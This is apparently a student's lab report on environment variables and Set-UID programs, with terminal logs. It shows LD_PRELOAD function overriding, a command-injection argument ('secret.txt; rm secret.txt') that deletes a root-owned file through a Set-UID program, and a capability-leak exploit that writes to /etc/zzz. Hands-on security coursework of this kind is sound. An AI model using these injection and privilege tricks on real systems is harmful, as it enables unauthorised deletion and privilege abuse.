Lab 03 – Environment Variable and Set-UID Program

TASK 1: MANIPULATING ENVIRONMENT VARIABLES

N/A: just setting up the lab and a refresher on commands.

TASK 2: PASSING ENVIRONMENT VARIABLES FROM PARENT PROCESS TO CHILD PROCESS

Objective: How does a child process get its environment variables from its parent?

1. Saved output of the child processes' environment variables
2. Saved output of the parent processes' environment variables by commenting out the necessary lines
3. Compare the difference:
   There are several changes between the two files, such as the different SESSION_MANAGER ids and JOURNAL_STREAM entry values. Since environment variables are passed from the parent process, the only differences are the specific variables that happen at runtime, or that are specific to that child process.

```
[09/22/25]seed-JE441883@VM:~/.../lab3$ diff file file2
2c2
< SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2233,unix/VM:/tmp/.ICE-unix/2233
---
> SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/4761,unix/VM:/tmp/.ICE-unix/4761
19a20
> IM_CONFIG_CHECK_ENV=1
21c22
< WINDOWPATH=2
---
> WINDOWPATH=3
29,30c30,31
< GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/804afb49_8563_45f1_9796_fac711cdecd0
< INVOCATION_ID=94de616e8c604fc397a01ec900757e1f
---
> GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/fa4264d3_8d1e_4bbd_aaf3_17c4ddbc7c9c
> INVOCATION_ID=a91f7f1ff4c0485a873990d249930f36
38,39c39,40
< GNOME_TERMINAL_SERVICE=:1.97
< DISPLAY=:0
---
> GNOME_TERMINAL_SERVICE=:1.105
> DISPLAY=:1
43c44
< JOURNAL_STREAM=9:36022
---
> JOURNAL_STREAM=9:68337
47a49
> OLDPWD=/home/seed
49d50
< OLDPWD=/home/seed/shared
```

TASK 3: ENVIRONMENT VARIABLES AND EXECVE()

Objective: How environment variables are affected when a new program is executed via exeve(). It runs the new program inside the calling process, so what happens to the env variables? Are they automatically inherited by the new program?

1. Compile and run myenv.c -> prints the env variables of the current process.
   Running and compiling the program led to no results

```
[09/22/25]seed-JE441883@VM:~/.../lab3$ cat envs
[09/22/25]seed-JE441883@VM:~/.../lab3$ cat myenv.c
#include <unistd.h>

extern char **environ;

int main()
{
  char *argv[2];

  argv[0] = "/usr/bin/env";
  argv[1] = NULL;

  execve("/usr/bin/env", argv, NULL);

  return 0 ;
}
```

2. Changing the execve function to use “environ” instead of NULL printed the environment variables

```
[09/22/25]seed-JE441883@VM:~/.../lab3$ a.out > envs
[09/22/25]seed-JE441883@VM:~/.../lab3$ cat envs
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/4761,unix/VM:/tmp/.ICE-unix/4761
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=2190
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/shared/lab3
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
IM_CONFIG_CHECK_ENV=1
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=3
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30
;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=0
1;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;3
```

3. Conclusion: In the program, environ is declared as an external double pointer. When calling execve(), the last argument is used to dictate where to point to the environment variables for the new process, or where the environment is for the process. Having environ allows for the

process to inherit the variable from the parent, and so they are not automatically inherited unless you explicitly declare it.

TASK 4: ENVIRONMENT VARIABLES AND SYSTEM()

Objective: Study how environment variables are affected when a new program is executed via the system() function. This function is used to execute a command, but unlike execve(), which directly executes a command, system() actually executes "/bin/sh -c command", i.e., it executes /bin/sh, and asks the shell to execute the command. If you look at the implementation of the system() function, you will see that it uses execl() to execute /bin/sh; execl() calls execve(), passing to it the environment variables array. Therefore, using system(), the environment variables of the calling process is passed to the new program /bin/sh. Please compile and run the following program to verify this:

Compared to execve(), there is no need to explicitly declare the environment, and it is automatically done even while using execve().

```
[09/22/25]seed-JE441883@VM:~/.../lab3$ touch task4.c
[09/22/25]seed-JE441883@VM:~/.../lab3$ gedit task4.c

** (gedit:5875): WARNING **: 13:15:58.478: Hit unhandled case 0 (Error renaming temporary file: Text file busy) in parse_error.
[09/22/25]seed-JE441883@VM:~/.../lab3$ ls
a.out       envs   myenv     myprintenv.c  test.txt
cap_leak.c  file   myenv.c   task4.c
catall.c    file2  myenv.c~  task4.c~
[09/22/25]seed-JE441883@VM:~/.../lab3$ cat task4.c
#include <stdio.h>
#include <stdlib.h>

int main() {
        system("/usr/bin/env");
        return 0;
}
[09/22/25]seed-JE441883@VM:~/.../lab3$ gcc task4.c
[09/22/25]seed-JE441883@VM:~/.../lab3$ a.out > task4
[09/22/25]seed-JE441883@VM:~/.../lab3$ cat task4
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
SSH_AGENT_PID=2190
XDG_SESSION_TYPE=x11
SHLVL=1
HOME=/home/seed
OLDPWD=/home/seed
DESKTOP_SESSION=ubuntu
GNOME_SHELL_SESSION_MODE=ubuntu
GTK_MODULES=gail:atk-bridge
```

TASK 5: ENVIRONMENT VARIABLE AND SET-UID PROGRAMS

Objective: Understand how Set-UID programs are affected. But first, we need to figure out whether environment variables are inherited by the Set-UID program's process from the user's process, since Set-UID escalates a user's privilege.

1. Write a program that prints out all the environment variables in the current process.

```
[09/22/25]seed-JE441883@VM:~/.../lab3$ gcc task5.c -o task5
[09/22/25]seed-JE441883@VM:~/.../lab3$ ls
a.out       catall.c  file   myenv    myenv.c~      task4    task4.c~  task5.c   test.txt
cap_leak.c  envs      file2  myenv.c  myprintenv.c  task4.c  task5     task5.c~
[09/22/25]seed-JE441883@VM:~/.../lab3$ ./task5
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/4761,unix/VM:/tmp/.ICE-unix/4761
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
```

2. Now change the program's ownership to root and make it a Set-UID program

```
[09/22/25]seed-JE441883@VM:~/.../lab3$ sudo chown root task5
[09/22/25]seed-JE441883@VM:~/.../lab3$ sudo chmod 4755 task5
[09/22/25]seed-JE441883@VM:~/.../lab3$ ls -la
total 32
drwxrwxr-x 2 seed seed  4096 Sep 22 13:45 .
drwxrwxr-x 3 seed seed  4096 Sep 22 13:45 ..
-rwsr-xr-x 1 root seed 16768 Sep 22 13:39 task5
-rwxrwxrwx 1 seed seed   159 Sep 22 13:29 task5.c
[09/22/25]seed-JE441883@VM:~/.../lab3$ stat ./task5
  File: ./task5
  Size: 16768           Blocks: 40         IO Block: 4096   regular file
Device: 805h/2053d      Inode: 1051749     Links: 1
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: ( 1000/    seed)
Access: 2025-09-22 13:45:57.866400000 -0400
Modify: 2025-09-22 13:39:24.063790000 -0400
Change: 2025-09-22 13:46:32.365463760 -0400
 Birth: -
```

3. As a normal user, use the export command to set env variables.

```
user1@VM:/home/seed/labs/lab3$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/
games:/usr/local/games:/snap/bin
user1@VM:/home/seed/labs/lab3$ echo LD_LIBRARY_PATH
LD_LIBRARY_PATH
user1@VM:/home/seed/labs/lab3$ echo $LD_LIBRARY_PATH

user1@VM:/home/seed/labs/lab3$ export PATH="usr/local/bin"
user1@VM:/home/seed/labs/lab3$ echo $PATH
usr/local/bin
user1@VM:/home/seed/labs/lab3$ export LD_LIBRARY_PATH="usr/local/l
ib"
user1@VM:/home/seed/labs/lab3$ echo $LD_LIBRARY_PATH
usr/local/lib
user1@VM:/home/seed/labs/lab3$ export TASK5="test"
user1@VM:/home/seed/labs/lab3$ echo $TASK5
test
user1@VM:/home/seed/labs/lab3$
```

Now run the program. TASK5 and PATH are present, but not LD_LIBRARY_PATH:

TASK 6: THE PATH ENVIRONMENT VARIABLE AND SET-UID PROGRAMS

The program used to test for privilege escalation was the code provided as follows:

```c
#include<stdlib.h>
#include<stdio.h>

int main(){
        system("chmod o+r secret.txt");
        return 0;
}
```

I created a text file that can only be accessed by the root, and after setting the program to be owned by the root and be a Set-UID program. I ran it as a normal user, and I was able to access the file afterwards. Generally, to change permissions or owner, you need to use Sudo, however since this program was owned by the root it was unnecessary. There was no denial of access when I ran the program, so it does prove that Set-UID programs do temporarily elevate privileges and can be used to run malicious

programs, with this just being a simple example.

```
cat: secret.txt: Permission denied
user1@VM:/home/seed/labs/lab3$ cat secret.txt
cat: secret.txt: Permission denied
user1@VM:/home/seed/labs/lab3$ ./task6
chmod: changing permissions of 'secret.txt': Operation not permitted
user1@VM:/home/seed/labs/lab3$ ./task6
user1@VM:/home/seed/labs/lab3$ ls -l
total 72
-rwxrwxr-x 1 seed seed 16696 Sep 23 12:09 a.out
-rwsr-xr-x 1 root seed    40 Sep 23 12:19 secret.txt
-rwsr-xr-x 1 root seed 16768 Sep 22 13:39 task5
-rwxrwxrwx 1 seed seed   159 Sep 22 13:29 task5.c
-rwsr-xr-x 1 root seed 16696 Sep 23 12:23 task6
-rw-rw-r-- 1 seed seed    96 Sep 23 12:23 task6.c
-rw-rw-r-- 1 seed seed     0 Sep 22 15:50 task6.c~
user1@VM:/home/seed/labs/lab3$ cat secret.txt
This file is for privileged users only!
user1@VM:/home/seed/labs/lab3$
```

TASK 7: THE LD_PRELOAD ENVIRONMENT VARIABLE AND SET-UID PROGRAMS

Objective: Study how Set-UID programs deal with some of the environment variables. Some of which influence the behavior of dynamic loader/linker.

1) See how these env variables influence the behavior of dynamic loader/linker when running a normal program.

```c
#include<stdio.h>
void sleep (int s){
        /* If this is invoked by a privileged program,
        you can do damages here! */
        printf("I am not sleeping!\n");
}
```

2) Program is compiled

```
a.out  secret.txt  task5  task5.c  task6  task6.c  task6.c~
[09/23/25]seed-JE441883@VM:~/.../lab3$ touch mylib.c
[09/23/25]seed-JE441883@VM:~/.../lab3$ gedit mylib.c
[09/23/25]seed-JE441883@VM:~/.../lab3$ ls
a.out  mylib.c  secret.txt  task5  task5.c  task6  task6.c  task6.c~
[09/23/25]seed-JE441883@VM:~/.../lab3$ gcc -fPIC -g -c mylib.c
[09/23/25]seed-JE441883@VM:~/.../lab3$ ls
a.out  mylib.c  mylib.o  secret.txt  task5  task5.c  task6  task6.c  task6.c~
[09/23/25]seed-JE441883@VM:~/.../lab3$ gcc -shared -o libmylib.so.1.0.1 mylib.0
-lc
gcc: error: mylib.0: No such file or directory
[09/23/25]seed-JE441883@VM:~/.../lab3$ gcc -shared -o libmylib.so.1.0.1 mylib.o
-lc
[09/23/25]seed-JE441883@VM:~/.../lab3$ ls
a.out              mylib.c  secret.txt  task5.c  task6.c
libmylib.so.1.0.1  mylib.o  task5       task6    task6.c~
[09/23/25]seed-JE441883@VM:~/.../lab3$
```

3) Now, set the LD_PRELOAD environment variable

```
[09/23/25]seed-JE441883@VM:~/.../lab3$ gedit mylib.c
[09/23/25]seed-JE441883@VM:~/.../lab3$ export LD_PRELOAD=./libmylib.so.1.0.1
[09/23/25]seed-JE441883@VM:~/.../lab3$ echo $LD_PRELOAD

[09/23/25]seed-JE441883@VM:~/.../lab3$ echo $LD_PRELOAD
./libmylib.so.1.0.1
```

4) Create myprog.c

```c
#include<unistd.h>
int main(){
        sleep(1);
        return 0;
}
```

5) Time to run my prog under these set conditions:

a) myprog as a regular program, run as normal user: the program runs,

```
I am not sleeping!
user1@VM:/home/seed/labs/lab3$ ./myprog
user1@VM:/home/seed/labs/lab3$ ./myprog
I am not sleeping!
```

b) myprog as a Set-UID root program, run it as a normal user: nothing happens

```
-rwxrwxr-x 1 seed seed 16696 Sep 23 13:07 myprog
-rw-rw-r-- 1 seed seed    55 Sep 23 13:02 myprog.c
-rwsr-xr-x 1 root seed    40 Sep 23 12:19 secret.txt
-rwsr-xr-x 1 root seed 16768 Sep 22 13:39 task5
-rwxrwxrwx 1 seed seed   159 Sep 22 13:29 task5.c
-rwsr-xr-x 1 root seed 16696 Sep 23 12:23 task6
-rw-rw-r-- 1 seed seed    96 Sep 23 12:23 task6.c
-rw-rw-r-- 1 seed seed     0 Sep 22 15:50 task6.c~
[09/23/25]seed-JE441883@VM:~/.../lab3$ sudo chown root myprog
[09/23/25]seed-JE441883@VM:~/.../lab3$ sudo chmod 4755 myprog
[09/23/25]seed-JE441883@VM:~/.../lab3$ ls -l
total 128
-rwxrwxr-x 1 seed seed 16696 Sep 23 12:09 a.out
-rwxrwxr-x 1 seed seed 18688 Sep 23 12:58 libmylib.so.1.0.1
-rw-rw-r-- 1 seed seed   150 Sep 23 12:56 mylib.c
-rw-rw-r-- 1 seed seed  5944 Sep 23 12:57 mylib.o
-rwsr-xr-x 1 root seed 16696 Sep 23 13:07 myprog
```

c) myprog as Set-UID, export the LD_PRELOAD environment variable again in the root acount and run it: this time, the program prints the program

```
root@VM:/home/seed/labs/lab3# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed/labs/lab3# echo $LD_PRELOAD
./libmylib.so.1.0.1
root@VM:/home/seed/labs/lab3# ./myprog
I am not sleeping!
root@VM:/home/seed/labs/lab3#
```

d) myprog a Set-UID user1 account and export the LD_PRELOAD environment variable again in a different user's account. This time: Ill make seed the owner and test it with another account user1.

```
user1@VM:/home/seed/labs/lab3$ ./myprog
user1@VM:/home/seed/labs/lab3$ ./myprog
user1@VM:/home/seed/labs/lab3$ export LD_PRELOAD=./libmylib.so.1.0.1
user1@VM:/home/seed/labs/lab3$ ./myprog
I am not sleeping!
user1@VM:/home/seed/labs/lab3$
```

After running each scenario, it worked for all cases except B. When running a normal program as a normal user, the program inherits the user's environment, so nothing abnormal happens here because we explicitly set the LD_PRELOAD env earlier. This works the same for the root account. For the last scenario, the Set-UID program is owned by seed, and the export command is run by user1, allowing the environment variable to be inherited before the program executes. The second scenario didn't work because since it temporarily is supposed to raise the user's permissions, there must've been a safeguard in place preventing the inheritance of the user's environment variables. In every scenario, we are generally at the same level of access.

TASK 8: INVOKING EXTERNAL PROGRAMS USING SYSTEM() VERSUS EXECVE()

1) Compile catall.c, the program will use system() to invoke the command. I decided to test the secret.txt file, which is owned by the root, so I cannot write to it. (used echo to confirm). Using the program, it constructs a command string and you can use it normally to print out the contents of a file, but you can add a second command that normally wouldn't execute on its own.

```
[09/23/25]seed-JE441883@VM:~/.../lab3$ ls -l
total 176
-rwxrwxr-x 1 seed seed 16696 Sep 23 12:09 a.out
-rwsr-xr-x 1 root seed 16928 Sep 23 13:44 catall
-rwxrwxrwx 1 seed seed   471 Sep 23 13:44 catall.c
-rwxrwxr-x 1 seed seed 16928 Sep 23 13:44 catall.o
-rwxrwxr-x 1 seed seed 18688 Sep 23 12:58 libmylib.so.1.0.1
-rw-rw-r-- 1 seed seed   150 Sep 23 12:56 mylib.c
-rw-rw-r-- 1 seed seed  5944 Sep 23 12:57 mylib.o
-rwxr-xr-x 1 seed seed 16696 Sep 23 13:07 myprog
-rw-rw-r-- 1 seed seed    55 Sep 23 13:02 myprog.c
-rwsr-xr-x 1 root seed    40 Sep 23 13:54 secretcp.txt
-rwsr-xr-x 1 root seed    40 Sep 23 12:19 secret.txt
-rwsr-xr-x 1 root seed 16768 Sep 22 13:39 task5
-rwxrwxrwx 1 seed seed   159 Sep 22 13:29 task5.c
-rwsr-xr-x 1 root seed 16696 Sep 23 12:23 task6
-rw-rw-r-- 1 seed seed    96 Sep 23 12:23 task6.c
-rw-rw-r-- 1 seed seed     0 Sep 22 15:50 task6.c~
-rw-rw-r-- 1 root seed     0 Sep 23 14:05 tested.txt
[09/23/25]seed-JE441883@VM:~/.../lab3$ echo "test" > secret.txt
bash: secret.txt: Permission denied
[09/23/25]seed-JE441883@VM:~/.../lab3$ ./catall "secret.txt; rm secret.txt"
This file is for privileged users only!
[09/23/25]seed-JE441883@VM:~/.../lab3$ ls
a.out     catall.o           mylib.o   secretcp.txt  task6     tested.txt
catall    libmylib.so.1.0.1  myprog    task5         task6.c
catall.c  mylib.c            myprog.c  task5.c       task6.c~
[09/23/25]seed-JE441883@VM:~/.../lab3$
```

Now lets try this with execve(). This time it doesn't work. It is much more secure since it does not directly invoke the shell to carryout the command, which the previous exploit did rely on.

```
-rwxrwxr-x 1 seed seed 16696 Sep 23 12:09 a.out
-rwsr-xr-x 1 root seed 16928 Sep 23 14:11 catall
-rwxrwxrwx 1 seed seed   470 Sep 23 14:11 catall.c
-rwxrwxr-x 1 seed seed 16928 Sep 23 13:44 catall.o
-rwxrwxr-x 1 seed seed 18688 Sep 23 12:58 libmylib.so.1.0.1
-rw-rw-r-- 1 seed seed   150 Sep 23 12:56 mylib.c
-rw-rw-r-- 1 seed seed  5944 Sep 23 12:57 mylib.o
-rwxr-xr-x 1 seed seed 16696 Sep 23 13:07 myprog
-rw-rw-r-- 1 seed seed    55 Sep 23 13:02 myprog.c
-rwsr-xr-x 1 root seed    40 Sep 23 13:54 secretcp.txt
-rwsr-xr-x 1 root seed 16768 Sep 22 13:39 task5
-rwxrwxrwx 1 seed seed   159 Sep 22 13:29 task5.c
-rwsr-xr-x 1 root seed 16696 Sep 23 12:23 task6
-rw-rw-r-- 1 seed seed    96 Sep 23 12:23 task6.c
-rw-rw-r-- 1 seed seed     0 Sep 22 15:50 task6.c~
-rw-rw-r-- 1 root seed     0 Sep 23 14:05 tested.txt
[09/23/25]seed-JE441883@VM:~/.../lab3$ echo "test" > secretcp.txt
bash: secretcp.txt: Permission denied
[09/23/25]seed-JE441883@VM:~/.../lab3$ ./catall "secretcp.txt; rm secretcp.txt"
/bin/cat: 'secretcp.txt; rm secretcp.txt': No such file or directory
[09/23/25]seed-JE441883@VM:~/.../lab3$ ./catall "secretcp.txt"
This file is for privileged users only!
```

TASK 9: CAPABILITY LEAKING

Objective: Sometimes root privileges are revoked when they aren't needed anymore or when the control needs to be handed back to the user. The setuid() system call can be used to revoke the privileges. A common mistake is capability leaking such as the privileged program gaining extra privileges during runtime that are not cleaned up when the privileged program is downgraded, meaning the process is still privileged.

The goal is to exploit the capability leaking vulnerability in the program by writing to /etc/zzz as a normal user.

```
root@VM:/home/seed/labs/lab3# cat /etc/zzz
root@VM:/home/seed/labs/lab3# echo "This is an important system fi
le... zzzzzzzzzz" > /etc/zzz
root@VM:/home/seed/labs/lab3# cat /etc/zzz
This is an important system file... zzzzzzzzzz
root@VM:/home/seed/labs/lab3# chown root /etc/zzz
root@VM:/home/seed/labs/lab3# chmod 0644 /etc/zzz
root@VM:/home/seed/labs/lab3# ls -l /etc/zzz
-rw-r--r-- 1 root root 48 Sep 23 15:03 /etc/zzz
```

As a normal user, we cannot write to the file:

```
[09/23/25]seed-JE441883@VM:~/.../lab3$ cat /etc/zzz
This is an important system file... zzzzzzzzzz
[09/23/25]seed-JE441883@VM:~/.../lab3$ echo "attempt rewrite" > /e
tc/zzz
bash: /etc/zzz: Permission denied
[09/23/25]seed-JE441883@VM:~/.../lab3$
```

But running the program allows us to write to the the file by using the file descriptor, meaning before we downgraded we forgot to close the file, as the file discriptor was created by root when the program ran.

```
[09/23/25]seed-JE441883@VM:~/.../lab3$ echo "attempt rewrite" > /e
tc/zzz
bash: /etc/zzz: Permission denied
[09/23/25]seed-JE441883@VM:~/.../lab3$ cap_leak
fd is 3
$ echo "test" >& 3
$ exit
[09/23/25]seed-JE441883@VM:~/.../lab3$ cat /etc/zzz
This is an important system file... zzzzzzzzzz
test
[09/23/25]seed-JE441883@VM:~/.../lab3$ echo "attempt rewrite" > /e
tc/zzz
bash: /etc/zzz: Permission denied
[09/23/25]seed-JE441883@VM:~/.../lab3$
```